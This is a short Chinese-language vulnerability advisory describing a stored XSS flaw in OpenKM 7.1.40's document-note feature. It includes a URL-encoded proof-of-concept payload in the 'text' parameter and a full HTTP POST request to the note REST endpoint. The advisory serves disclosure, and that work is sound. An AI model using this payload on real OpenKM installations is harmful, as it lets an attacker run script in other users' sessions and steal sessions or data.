OpenKM 7.1.40 版本（dbb6e88，带专业扩展）中存在一个存储型跨站脚本（XSS）漏洞，允许经过身份验证的用户在文件上上传笔记，该笔记充当存储型XSS载荷。任何打开文档文件笔记的用户都将触发XSS。
易受攻击参数：text
Payload :
FINAL Payload (URL encoded) : <image/src/onerror%3dalert(1)>
GET 请求在 [http://localhost/openkm/rest/note/nodes/NODE-ID] 上：
POST /openkm/rest/note/nodes/34bc430a-e3db-4efa-8289-3d0894010f67 HTTP/2
Host: EXAMPLE.COM
Cookie: lang=en-GB; JSESSIONID=EC6EF7B1DB85C3A839C9D3054095AA8E
Content-Length: 23
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
X-Requested-App: kcenter
Sec-Ch-Ua-Mobile: ?0
Authorization: OKM ey[REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Platform: "Windows"
Origin: https://EXAMPLE.COM
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://EXAMPLE.COM/openkm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
text=<image/src/onerror%3dalert(1)>
存储型XSS允许攻击者将恶意脚本注入到Web应用程序中，这些脚本会被存储并在其他用户查看受影响页面时执行。这可能导致敏感信息窃取、会话劫持或恶意软件分发。
Payload :
FINAL Payload (URL encoded) :